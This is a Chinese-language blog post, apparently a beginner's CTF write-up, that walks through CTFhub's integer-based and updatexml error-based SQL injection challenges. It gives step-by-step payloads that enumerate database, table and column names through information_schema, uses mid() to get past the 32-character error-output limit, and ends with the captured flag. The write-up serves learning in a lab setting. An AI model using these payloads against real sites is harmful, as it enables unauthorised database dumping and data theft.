SQL注入——整數型注入、報錯注入

整數型注入

在CTFhub上的一道整數型注入的題,剛接觸SQL注入,這也是我第一次做整數型注入的題,做個記錄。
開啓環境:
在這裏插入圖片描述
先判斷是否存在注入
payload:

?id=1 and 1=1

在這裏插入圖片描述
payload:

?id=1 and 1=2

在這裏插入圖片描述
證明存在注入,那就搞它!
輸入1試試,有回顯。
在這裏插入圖片描述
判斷字段數 payload:

?id=1 order by 1

在這裏插入圖片描述
再輸入2,3挨個試
payload:

?id=1 order by 3

在這裏插入圖片描述
發現這裏報錯了,所以判斷字段數只有2
爆數據庫:payload:

?id=1 and 1=2 union select 1,database()

在這裏插入圖片描述
爆出數據庫名爲sqli
爆表名:


?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'

在這裏插入圖片描述
爆出兩個表,一個news一個flag很明顯,flag就藏在這裏了。
爆字段名:

?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'

在這裏插入圖片描述
字段名還是flag最後一步爆值:
payload:

?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag

在這裏插入圖片描述
flag出來了。get!!!

報錯注入

報錯注入就是通過反饋出來的錯誤來獲取到我們所需要的信息。
updatexml報錯注入
這是我在網上了解到的一種報錯注入方式。報錯注入原來有好多種辦法,這裏主要解釋這個updatexml報錯注入,先介紹updatexml報錯的原理:我是一個小白,也不懂什麼是updataxml函數,網上查唄看了好幾篇博客,也沒搞明白updataxml函數,大家寫的都一樣,反正就是在腳本之家上找到了原版
來自腳本之家
Xpath 語法是要單獨去學的,不過沒必要,瞭解一下就行(我是瞭解都沒了解,直接記的。🤣🤣🤣我懶,嫌麻煩。)
然後看到了示例的updataxml函數語句,我疑問更多了。
payload:

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

吶,我更疑惑了,一看這句,不知道有沒有跟我內心活動相同的。(我*,0x7e又是什麼????上面還有好多沒搞明白的,又來一個。*****直接口吐芬芳)
0x7e我查的是在SQL中的報錯什麼的,我也不明白,有興趣的可以百度看看。看的頭懵。
updatexml第二個參數需要的是Xpath格式的字符串,但是我們第二個參數如果不是Xpath格式,而是我們想要獲得的數據,那麼它就會報錯,並且在報錯的時候會將錯的內容顯示出來,然後我們就可以獲得我們想要的數據了。原理差不多就是這個。
算啦,實在搞不明白不搞了,直接用吧

實戰CTFhub的題

開啓環境(熟門熟路,不知道開過幾次了,看大佬的博客一看就會,一做就廢。😥😥😥關鍵是這玩意而氪金)

在這裏插入圖片描述
那就輸入1試試,查詢正確了
在這裏插入圖片描述
之前沒有做過報錯的題,這是第一個!!!
該用到updatexml函數了payload:

?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1));

在這裏插入圖片描述
不出所料得到了我們想要的數據庫名sqli
繼續payload:

?id=1 and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1));

在這裏插入圖片描述
信息顯示sqli下的兩個表是newsflag
payload:

id=1 and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1));

在這裏插入圖片描述
payload:

id=1 and (updatexml(1,concat(0x7e,(select group_concat(flag) from flag),0x7e),1));

在這裏插入圖片描述
查詢出來flag了,不過好像不完整。有一個坑????why。
在這裏插入圖片描述
心態崩了啊。還要再查,查查查………………煩,不過還好找到了,xpath報錯只顯示32位結果然後要用到另一個函數mid。**需要藉助mid函數來進行字符截取從而顯示32位以後的數據。**找找mid函數的用法(因爲大佬沒有解釋,只說了怎麼用。)還是親愛的度娘比較貼心。😭😭😭😭
來自百度百科
好嘞,這下就懂了。可以繼續了,what??環境到期了,😭😭😭又要花金幣。趕緊的,不磨蹭了。
payload:

id=1 and (updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),32),0x7e),1));

在這裏插入圖片描述
最後彙總flag:ctfhub{21129dbb7c5caaba20b91e9f8d3018104fe54fcd}
呼……真巴適哈哈哈。在這裏插入圖片描述
最後再附上大佬博客十種MySQL報錯注入
還有這個CTF中的SQL注入

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章